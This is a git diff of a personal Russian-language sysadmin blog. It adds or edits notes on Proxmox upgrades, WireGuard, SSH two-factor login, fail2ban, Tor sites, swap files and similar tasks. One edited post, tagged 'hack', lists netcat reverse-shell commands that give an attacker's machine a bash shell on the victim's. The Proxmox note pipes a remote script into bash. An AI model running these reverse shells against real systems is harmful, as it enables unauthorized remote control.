content/posts/psql-to-csv.md
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
---
|
||||||
|
title: Конвертация PostgreSQL в CSV
|
||||||
|
description: pSQL to CSV
|
||||||
|
date: 2024-09-11T17:24:00+02:00
|
||||||
|
tags: [linux, postgres]
|
||||||
|
---
|
||||||
|
## Конвертация
|
||||||
|
```bash
|
||||||
|
psql -d <database>
|
||||||
|
```
|
||||||
|
```psql
|
||||||
|
DO $$
|
||||||
|
DECLARE
|
||||||
|
r RECORD;
|
||||||
|
BEGIN
|
||||||
|
FOR r IN (SELECT table_name FROM information_schema.tables WHERE table_schema = 'public') LOOP
|
||||||
|
EXECUTE format('COPY %I TO %L WITH (FORMAT CSV, HEADER)', r.table_name, '/<path-to-csv>/' || r.table_name || '.csv');
|
||||||
|
END LOOP;
|
||||||
|
END $$;
|
||||||
|
```
|
52
content/posts/pve-update.md
Normal file
52
content/posts/pve-update.md
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
---
|
||||||
|
title: Обновление Proxmox 7 -> Proxmox 8
|
||||||
|
description: И дошлифовка
|
||||||
|
date: 2024-12-10T14:05:00+01:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Актуализация ОС
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt -y update
|
||||||
|
apt -y dist-upgrade
|
||||||
|
```
|
||||||
|
|
||||||
|
## Проверка готовности обновления
|
||||||
|
|
||||||
|
```shell
|
||||||
|
pve7to8 --full
|
||||||
|
```
|
||||||
|
|
||||||
|
## Актуализация репозиториев
|
||||||
|
|
||||||
|
```shell
|
||||||
|
sed -i 's/bullseye/bookworm/g' /etc/apt/sources.list
|
||||||
|
sed -i 's/bullseye/bookworm/g' /etc/apt/sources.list.d/*.list
|
||||||
|
```
|
||||||
|
|
||||||
|
## Обновление ОС и PVE
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt -y update
|
||||||
|
apt -y dist-upgrade
|
||||||
|
init 6
|
||||||
|
```
|
||||||
|
|
||||||
|
## Дошлифовка
|
||||||
|
|
||||||
|
```shell
|
||||||
|
bash -c "$(wget -qLO - https://github.com/community-scripts/ProxmoxVE/raw/main/misc/post-pve-install.sh)"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Ограничение потребление RAM zfs'ом
|
||||||
|
В `/etc/modprobe.d/zfs.conf` добавить следующую строку (2GB на 1TB):
|
||||||
|
```python
|
||||||
|
options zfs zfs_arc_max=4294967296
|
||||||
|
```
|
||||||
|
|
||||||
|
Применение и перезагрузка
|
||||||
|
```shell
|
||||||
|
update-initramfs -u -k all
|
||||||
|
init 6
|
||||||
|
```
|
@ -6,6 +6,7 @@ tags: [linux, windows]
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Подключение
|
## Подключение
|
||||||
|
|
||||||
Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`:
|
Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`:
|
||||||
```bash
|
```bash
|
||||||
wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f
|
wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f
|
||||||
|
@ -4,16 +4,19 @@ description: Используя Traditional и OpenBSD Netcat
|
|||||||
date: 2022-12-09T15:02:00+05:00
|
date: 2022-12-09T15:02:00+05:00
|
||||||
tags: [linux, ssh, hack]
|
tags: [linux, ssh, hack]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Машина атакующего
|
## Машина атакующего
|
||||||
```shell
|
```shell
|
||||||
nc -lvp <port>
|
nc -lvp <port>
|
||||||
```
|
```
|
||||||
## Машина жертвы (Traditional Netcat)
|
## Машина жертвы (Traditional Netcat)
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
nc <attacker-ip> <port> -e /bin/bash
|
nc <attacker-ip> <port> -e /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
## Машина жертвы (OpenBSD Netcat)
|
## Машина жертвы (OpenBSD Netcat)
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
|
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
|
||||||
```
|
```
|
||||||
|
35
content/posts/rhel-setup.md
Normal file
35
content/posts/rhel-setup.md
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
---
|
||||||
|
title: Активация и автоматические обновления в RHEL 9
|
||||||
|
description: Небольшая памятка
|
||||||
|
date: 2025-02-27T23:10:00+01:00
|
||||||
|
tags: [linux, rhel]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Активация
|
||||||
|
|
||||||
|
```shell
|
||||||
|
subscription-manager register --auto-attach
|
||||||
|
insights-client --register
|
||||||
|
```
|
||||||
|
|
||||||
|
## Автоматическая установка обновлений
|
||||||
|
|
||||||
|
```shell
|
||||||
|
yum -y install dnf-automatic
|
||||||
|
systemctl enable --now dnf-automatic-install.timer
|
||||||
|
```
|
||||||
|
|
||||||
|
## Установка расширенного репозитория
|
||||||
|
|
||||||
|
```shell
|
||||||
|
subscription-manager repos --enable codeready-builder-for-rhel-9-$(arch)-rpms
|
||||||
|
yum -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-9.noarch.rpm
|
||||||
|
```
|
||||||
|
|
||||||
|
## Отключение дампов ядра
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl disable --now kdump
|
||||||
|
grubby --update-kernel=ALL --remove-args="crashkernel"
|
||||||
|
init 6
|
||||||
|
```
|
@ -65,7 +65,7 @@ chmod +x /usr/local/bin/rubyc
|
|||||||
## Правка запускаемого файла собираемой утилиты
|
## Правка запускаемого файла собираемой утилиты
|
||||||
|
|
||||||
В запускаемый файл `exe/<ruby-util>` (обычно лежит в exe или bin) необходимо добавить в самое начало следующие строки:
|
В запускаемый файл `exe/<ruby-util>` (обычно лежит в exe или bin) необходимо добавить в самое начало следующие строки:
|
||||||
```config
|
```python
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
require 'rubygems'
|
require 'rubygems'
|
||||||
@ -83,7 +83,7 @@ bundle exec rake install
|
|||||||
|
|
||||||
## Сборка бинарника
|
## Сборка бинарника
|
||||||
|
|
||||||
Собираем бинарник. Обязательно при этом необходимо молиться.
|
Собираем бинарник и молимся.
|
||||||
```shell
|
```shell
|
||||||
cd <ruby-util-dir>
|
cd <ruby-util-dir>
|
||||||
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>
|
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>
|
||||||
|
@ -5,18 +5,21 @@ date: 2023-05-12T18:20:00+05:00
|
|||||||
tags: [linux, astra, alt, tls]
|
tags: [linux, astra, alt, tls]
|
||||||
---
|
---
|
||||||
## Получение корневого сертификата
|
## Получение корневого сертификата
|
||||||
```shell
|
|
||||||
echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem
|
```bash
|
||||||
|
echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.crt
|
||||||
```
|
```
|
||||||
|
|
||||||
## Astra Linux
|
## Astra Linux
|
||||||
|
|
||||||
### Перемещение сертификата
|
### Перемещение сертификата
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
cp <certificate>.pem /usr/local/share/ca-certificates
|
cp <certificate>.crt /usr/local/share/ca-certificates
|
||||||
```
|
```
|
||||||
|
|
||||||
### Обновление состава доверенного хранилища
|
### Обновление состава доверенного хранилища
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
dpkg-reconfigure ca-certificates
|
dpkg-reconfigure ca-certificates
|
||||||
```
|
```
|
||||||
@ -24,11 +27,13 @@ dpkg-reconfigure ca-certificates
|
|||||||
## Alt Linux
|
## Alt Linux
|
||||||
|
|
||||||
### Перемещение сертификата
|
### Перемещение сертификата
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
cp <certificate>.pem /etc/pki/ca-trust/source/anchors/
|
cp <certificate>.crt /etc/pki/ca-trust/source/anchors/
|
||||||
```
|
```
|
||||||
|
|
||||||
### Обновление состава доверенного хранилища
|
### Обновление состава доверенного хранилища
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
update-ca-trust enable
|
update-ca-trust enable
|
||||||
update-ca-trust extract
|
update-ca-trust extract
|
||||||
|
@ -5,22 +5,23 @@ date: 2022-11-29T13:35:00+05:00
|
|||||||
tags: [linux, ssh]
|
tags: [linux, ssh]
|
||||||
---
|
---
|
||||||
## Установка пакета
|
## Установка пакета
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
apt install -y openssh-server libpam-google-authenticator
|
apt install -y openssh-server libpam-google-authenticator
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка конфига PAM
|
## Правка конфига PAM
|
||||||
```shell
|
|
||||||
auth required pam_google_authenticator.so
|
|
||||||
|
|
||||||
# auth required pam_google_authenticator.so
|
В файл `/etc/pam.d/common-auth` необходимо добавить следующее:
|
||||||
|
```python
|
||||||
|
auth required pam_google_authenticator.so
|
||||||
```
|
```
|
||||||
|
|
||||||
## Правка конфига ssh
|
## Правка конфига ssh
|
||||||
```config
|
|
||||||
ChallengeResponseAuthentication yes
|
|
||||||
|
|
||||||
# /etc/ssh/sshd_config
|
В файл `/etc/ssh/sshd_config` необходимо добавить следующее:
|
||||||
|
```python
|
||||||
|
ChallengeResponseAuthentication yes
|
||||||
```
|
```
|
||||||
|
|
||||||
## Конфигурация аутентификации
|
## Конфигурация аутентификации
|
||||||
@ -32,18 +33,14 @@ google-authenticator
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Управление факторами (необязательно)
|
## Управление факторами (необязательно)
|
||||||
Включить запрос ключа при аутентификации:
|
Для запроса ключа при аутентификации необходимо в файл `/etc/ssh/sshd_config` добавить следующее:
|
||||||
```config
|
```python
|
||||||
AuthenticationMethods publickey,password publickey,keyboard-interactive
|
AuthenticationMethods publickey,password publickey,keyboard-interactive
|
||||||
|
|
||||||
# /etc/ssh/sshd_config
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Отключить запрос пароля при аутентификации:
|
Для отключения запроса пароля при аутентификации необходимо в файле `/etc/pam.d/sshd` закомментировать следующюю строку:
|
||||||
```config
|
```python
|
||||||
#@include common-auth
|
# @include common-auth
|
||||||
|
|
||||||
# /etc/pam.d/sshd
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск сервиса ssh
|
## Перезапуск сервиса ssh
|
||||||
|
@ -10,7 +10,8 @@ apt -y install fail2ban
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Правило для ssh
|
## Правило для ssh
|
||||||
```config
|
В файл `/etc/fail2ban/jail.d/sshd.conf` необходимо добавить следующее:
|
||||||
|
```python
|
||||||
[sshd]
|
[sshd]
|
||||||
enabled = true
|
enabled = true
|
||||||
port = <ssh-port>
|
port = <ssh-port>
|
||||||
@ -19,8 +20,6 @@ logpath = /var/log/auth.log
|
|||||||
maxretry = 3
|
maxretry = 3
|
||||||
findtime = 300
|
findtime = 300
|
||||||
bantime = 3600
|
bantime = 3600
|
||||||
|
|
||||||
# /etc/fail2ban/jail.d/sshd.conf
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Перезапуск сервиса fail2ban
|
## Перезапуск сервиса fail2ban
|
||||||
|
24
content/posts/sshfs-fstab.md
Normal file
24
content/posts/sshfs-fstab.md
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
title: Автомонтирование SSHFS
|
||||||
|
description: SSHFS + fstab
|
||||||
|
date: 2024-09-19T13:28:00+02:00
|
||||||
|
tags: [linux, ssh]
|
||||||
|
---
|
||||||
|
|
||||||
|
## Установка пакета на клиенте
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt -y install sshfs
|
||||||
|
```
|
||||||
|
|
||||||
|
## Добавление строки в /etc/fstab
|
||||||
|
|
||||||
|
```python
|
||||||
|
<user>@<server-fqdn>:<remote-dir> <local-dir> sshfs allow_other,reconnect 0
|
||||||
|
```
|
||||||
|
|
||||||
|
## Проверка монтирования
|
||||||
|
|
||||||
|
```shell
|
||||||
|
mount -a
|
||||||
|
```
|
31
content/posts/swap-create.md
Normal file
31
content/posts/swap-create.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
title: Создание SWAP-файла
|
||||||
|
description: Файл подкачки в GNU/Linux
|
||||||
|
date: 2025-01-12T22:10:00+01:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Создания
|
||||||
|
Размер файла подкачки
|
||||||
|
|
||||||
|
RAM `<= 2GB`, SWAP `x2`\
|
||||||
|
RAM `2GB - 8GB`, SWAP `x1`\
|
||||||
|
RAM `>= 8GB`, SWAP `>= 4GB`
|
||||||
|
|
||||||
|
```shell
|
||||||
|
fallocate -l <size-in-gb>G /swap
|
||||||
|
chmod 600 /swap
|
||||||
|
mkswap /swap
|
||||||
|
swapon /swap
|
||||||
|
```
|
||||||
|
|
||||||
|
## Автомонтирование
|
||||||
|
|
||||||
|
В конец `/etc/fstab` необходимо добавить следующую строку
|
||||||
|
```python
|
||||||
|
/swap none swap sw 0 0
|
||||||
|
```
|
||||||
|
|
||||||
|
И проверим корректность записи
|
||||||
|
```shell
|
||||||
|
mount -a
|
||||||
|
```
|
63
content/posts/tor-website.md
Normal file
63
content/posts/tor-website.md
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
---
|
||||||
|
title: Поднятие сайта в TOR
|
||||||
|
description: Caddy + torrc
|
||||||
|
date: 2025-06-25T14:02:00+02:00
|
||||||
|
tags: [linux, tor, caddy]
|
||||||
|
---
|
||||||
|
## Генерация vanity адреса
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker run -it nwtgck/mkp224o
|
||||||
|
mkp224o <domain-start-with> -s
|
||||||
|
```
|
||||||
|
|
||||||
|
Формула для вычисления ожидаемого времени генерации:
|
||||||
|
```python
|
||||||
|
32^<number-of-characters>/<calc/sec> = <eta-in-seconds>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Установка и конфигурация TOR
|
||||||
|
|
||||||
|
Установка TOR:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt -y install tor
|
||||||
|
```
|
||||||
|
|
||||||
|
Следующие строки необходимо добавить в `/etc/tor/torrc`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
HiddenServiceDir /var/lib/tor/website
|
||||||
|
HiddenServicePort 80 127.0.0.1:80
|
||||||
|
```
|
||||||
|
|
||||||
|
Файлы, сгенерированные `mkp224o`, необходимо добавить в директорию `/var/lib/tor/website`:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
mkdir /var/lib/tor/website
|
||||||
|
mv <domain>.onion/* /var/lib/tor/website
|
||||||
|
chown -R debian-tor: /var/lib/tor/website
|
||||||
|
chmod -R 700 /var/lib/tor/website
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация Caddy
|
||||||
|
|
||||||
|
В `Caddyfile` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
|
<cleanet-doma.in> {
|
||||||
|
header Onion-Location http://<domain>.onion{uri}
|
||||||
|
respond "cleanet"
|
||||||
|
}
|
||||||
|
|
||||||
|
http://<domain>.onion {
|
||||||
|
respond "onion"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезапуск сервисов
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl restart tor
|
||||||
|
systemctl restart caddy
|
||||||
|
```
|
@ -50,7 +50,7 @@ secret-tool store --label "com.quexten.bitwarden-biometrics-handler" account <us
|
|||||||
## Правка конфига Firefox
|
## Правка конфига Firefox
|
||||||
Необходимо создать файл `~/.mozilla/native-messaging-hosts/com.8bit.bitwarden.json` со следующим содержимым:
|
Необходимо создать файл `~/.mozilla/native-messaging-hosts/com.8bit.bitwarden.json` со следующим содержимым:
|
||||||
|
|
||||||
```config
|
```python
|
||||||
{
|
{
|
||||||
"name": "com.8bit.bitwarden",
|
"name": "com.8bit.bitwarden",
|
||||||
"description": "Bitwarden desktop <-> browser bridge",
|
"description": "Bitwarden desktop <-> browser bridge",
|
||||||
|
32
content/posts/typing-emulate.md
Normal file
32
content/posts/typing-emulate.md
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
---
|
||||||
|
title: Эмуляция ввода текста из буфера обмена
|
||||||
|
description: Для GNU/Linux
|
||||||
|
date: 2024-10-24T17:07:00+02:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Установка и удаление пакетов
|
||||||
|
|
||||||
|
```shell
|
||||||
|
dnf install xclip xdotool
|
||||||
|
rpm --nodeps -e xdg-desktop-portal-gnome
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание исполняемого файла
|
||||||
|
|
||||||
|
В файл `/usr/local/bin/easyclipboard` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```json
|
||||||
|
#!/bin/bash
|
||||||
|
xclip -selection clipboard -out | tr \\n \\r | xdotool selectwindow windowfocus type --clearmodifiers --delay 25 --window %@ --file -
|
||||||
|
```
|
||||||
|
|
||||||
|
## Выдача прав на исполнение
|
||||||
|
|
||||||
|
```shell
|
||||||
|
chmod +x /usr/local/bin/easyclipboard
|
||||||
|
```
|
||||||
|
|
||||||
|
## ShortCut
|
||||||
|
|
||||||
|
Далее необходимо забиндить исполняемый файл на какой-нибудь shortcut (например, `Ctrl+E`) и можно пользоваться.
|
||||||
|
При нажатии комбинации клавиш текст из буфера обмена вводится по-буквенно (очень помогает с vnc/crd и подобным).
|
29
content/posts/ubuntu-apparmor-disable.md
Normal file
29
content/posts/ubuntu-apparmor-disable.md
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: Отключение AppArmor в Ubuntu 24.04
|
||||||
|
description: purge apparmor
|
||||||
|
date: 2024-10-09T10:51:00+02:00
|
||||||
|
tags: [linux, security]
|
||||||
|
---
|
||||||
|
## Выключение сервиса
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl disable --now apparmor
|
||||||
|
```
|
||||||
|
|
||||||
|
## Удаление AppArmor
|
||||||
|
|
||||||
|
```shell
|
||||||
|
apt remove --assume-yes --purge apparmor
|
||||||
|
```
|
||||||
|
|
||||||
|
## Перезагрузка
|
||||||
|
|
||||||
|
```shell
|
||||||
|
init 6
|
||||||
|
```
|
||||||
|
|
||||||
|
## Одной командой
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl disable --now apparmor && apt remove --assume-yes --purge apparmor && init 6
|
||||||
|
```
|
@ -4,11 +4,13 @@ description: У созданных VM будет включен буфер об
|
|||||||
date: 2022-11-25T15:08:00+05:00
|
date: 2022-11-25T15:08:00+05:00
|
||||||
tags: [vmware]
|
tags: [vmware]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Изменение конфига
|
## Изменение конфига
|
||||||
```config
|
|
||||||
|
В файл `/etc/vmware/config` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
vmx.fullpath = "/bin/vmx"
|
vmx.fullpath = "/bin/vmx"
|
||||||
isolation.tools.copy.disable="FALSE"
|
isolation.tools.copy.disable="FALSE"
|
||||||
isolation.tools.paste.disable="FALSE"
|
isolation.tools.paste.disable="FALSE"
|
||||||
|
|
||||||
# /etc/vmware/config
|
|
||||||
```
|
```
|
||||||
|
@ -4,11 +4,14 @@ description: При перезагрузке гипервизора будет
|
|||||||
date: 2022-11-25T15:18:00+05:00
|
date: 2022-11-25T15:18:00+05:00
|
||||||
tags: [vmware]
|
tags: [vmware]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Изменение скрипта
|
## Изменение скрипта
|
||||||
```config
|
|
||||||
|
В файл `/etc/rc.local.d/local.sh` необходимо добавить следующее:
|
||||||
|
|
||||||
|
```python
|
||||||
#!/bin/sh ++group=host/vim/vmvisor/boot
|
#!/bin/sh ++group=host/vim/vmvisor/boot
|
||||||
|
|
||||||
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
|
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
|
||||||
exit 0
|
exit 0
|
||||||
|
|
||||||
# /etc/rc.local.d/local.sh
|
|
||||||
```
|
```
|
||||||
|
72
content/posts/wg.md
Normal file
72
content/posts/wg.md
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
---
|
||||||
|
title: WireGuard. Установка и настройка
|
||||||
|
description: Сервер и клиент
|
||||||
|
date: 2024-06-05T17:37:00+06:00
|
||||||
|
tags: [linux, wireguard]
|
||||||
|
---
|
||||||
|
## Подготовка
|
||||||
|
На сервере и клиенте необходимо установить пакет `wireguard` и сгенерировать публичный и приватный ключи:
|
||||||
|
```shell
|
||||||
|
apt install wireguard
|
||||||
|
```
|
||||||
|
```bash
|
||||||
|
cd /etc/wireguard
|
||||||
|
wg genkey | tee privatekey | wg pubkey > publickey
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация сервера
|
||||||
|
### Форвардинг пакетов
|
||||||
|
В файл `/etc/sysctl.conf` необходимо добавить следующие строки:
|
||||||
|
```python
|
||||||
|
net.ipv4.ip_forward=1
|
||||||
|
net.ipv6.conf.all.forwarding=1
|
||||||
|
```
|
||||||
|
И подгрузить эти значения командой `sysctl -p`
|
||||||
|
|
||||||
|
### Конфигурация WireGuard
|
||||||
|
В файл `/etc/wireguard/<conn-name>.conf` необходимо дописать следующее:
|
||||||
|
```python
|
||||||
|
[Interface]
|
||||||
|
PrivateKey = <private-key>
|
||||||
|
Address = 172.0.0.1/24
|
||||||
|
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o <interface> -j MASQUERADE
|
||||||
|
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o <interface> -j MASQUERADE
|
||||||
|
ListenPort = 51820
|
||||||
|
|
||||||
|
[Peer]
|
||||||
|
PublicKey = <public-key>
|
||||||
|
AllowedIPs = 172.0.0.2/32
|
||||||
|
```
|
||||||
|
`<public-key>` - содержимое файла `/etc/wireguard/publickey` клиента\
|
||||||
|
`<private-key>` - содержимое файла `/etc/wireguard/privatekey` сервера\
|
||||||
|
`<interface>` - имя сетевого интерфейса
|
||||||
|
### Включение WireGuard при запуске сервера
|
||||||
|
```shell
|
||||||
|
systemctl enable --now wg-quick@<conn-name>.service
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация клиента
|
||||||
|
### Конфигурация WireGuard
|
||||||
|
В файл `/etc/wireguard/<conn-name>.conf` необходимо дописать следующее:
|
||||||
|
```python
|
||||||
|
[Interface]
|
||||||
|
Address = 172.0.0.2/32
|
||||||
|
PrivateKey = <private-key>
|
||||||
|
DNS = 1.1.1.1
|
||||||
|
|
||||||
|
[Peer]
|
||||||
|
PublicKey = <public-key>
|
||||||
|
Endpoint = <server-addr>:51820
|
||||||
|
AllowedIPs = <allowed-ips>
|
||||||
|
```
|
||||||
|
`<public-key>` - содержимое файла `/etc/wireguard/publickey` сервера\
|
||||||
|
`<private-key>` - содержимое файла `/etc/wireguard/privatekey` клиента\
|
||||||
|
`<server-addr>` - публичный адрес сервера\
|
||||||
|
`<allowed-ips>` - IP-адреса, соединения с которыми будут идти через `WireGuard`
|
||||||
|
### Включение WireGuard при запуске клиента
|
||||||
|
```shell
|
||||||
|
systemctl enable --now wg-quick@<conn-name>.service
|
||||||
|
```
|
||||||
|
|
||||||
|
## Примечание
|
||||||
|
На сервере должен быть открыт порт `51820/udp`. Для добавления новых клиентов `WireGuard` необходимо в конфигурацию сервера добавлять блоки `[Peer]`.
|
@ -4,12 +4,12 @@ description: Позволяет отключить определённую фу
|
|||||||
date: 2023-04-06T12:15:00+05:00
|
date: 2023-04-06T12:15:00+05:00
|
||||||
tags: [windows]
|
tags: [windows]
|
||||||
---
|
---
|
||||||
|
|
||||||
## Отключение
|
## Отключение
|
||||||
В ветке реестра выставить значение value на 1.
|
В ветке реестра выставить значение value на 1.
|
||||||
```config
|
|
||||||
|
```python
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
|
||||||
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
|
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
|
||||||
|
|
||||||
# regedit
|
|
||||||
```
|
```
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
<pre><ascii> _._ _,-'""`-._
|
<pre><ascii> ▄ .▄▄▄▄ .▄▄▌ ▄▄▌ there
|
||||||
(,-.`._,'( |\`-/|
|
██▪▐█▀▄.▀·██• ██• ▪
|
||||||
`-.-' \ )-`( , o o)
|
██▀▐█▐▀▀▪▄██▪ ██▪ ▄█▀▄
|
||||||
`- \`_`"'-</ascii>
|
██▌▐▀▐█▄▄▌▐█▌▐▌▐█▌▐▌▐█▌.▐▌
|
||||||
|
▀▀▀ · ▀▀▀ .▀▀▀ .▀▀▀ ▀█▄▀▪</ascii>
|
||||||
|
|
||||||
<a href="//github.com/fruworg/fruworg.github.io">opensource, js&cookie free</a></pre>
|
<a href="//github.com/fruworg/fruworg.github.io">opensource, js&cookie free</a></pre>
|
||||||
|
BIN
static/background.gif
Normal file
BIN
static/background.gif
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.6 MiB |
Binary file not shown.
Before Width: | Height: | Size: 214 KiB After Width: | Height: | Size: 87 KiB |
Binary file not shown.
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 764 KiB |
1
static/id_rsa.pub
Normal file
1
static/id_rsa.pub
Normal file
@ -0,0 +1 @@
|
|||||||
|
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnVogG3iyXtY4dvLmmAwDAJRzTzfuUeP0LcD0zRrua8YOBKcSXyAh2Z/VSlwZeJOa9vcKDWJ+bWS9mq4WtL1nMTwbzZBp64wuuucq9ANpBzeS3WawY7DBU/qt5GjlBRI+tohZUVUOx35Q7WMjmAoopr6upLDq9zm6imTj6KGhEdeTDmn7dnhSaPAxqFbO4mlzqAZ6PUvjUyk119C4V5hp3wRjP6KXRIsPVpEKFXnJ26WubOg2qyoSr2UYQa3O9L0iaxUwMLg7s9eauGs2PIcqtUmu2UfNihKrBbmgvA/4wg0/odbMnbMXtCIeBWkuTBOfUzmH8FAEIKUTkl7nJvVj+0VNwRbIj8Nb85u0lex9rBZSOzoGd8tylly9t2Db5uT8paGFTlUAwVLns810V0b9tkXG0CpaH7ZNLOkTv7ISYIykED+Kb/ap4DfzauPAdraUmIWunr8l+Rvba16XqKZy7IEVKZsPF6XfK1Lywi65q9E6JDZ4ozAlIV8l73FWGHps=
|
Submodule themes/themu updated: 74059bf954...257284dd68
Reference in New Issue
Block a user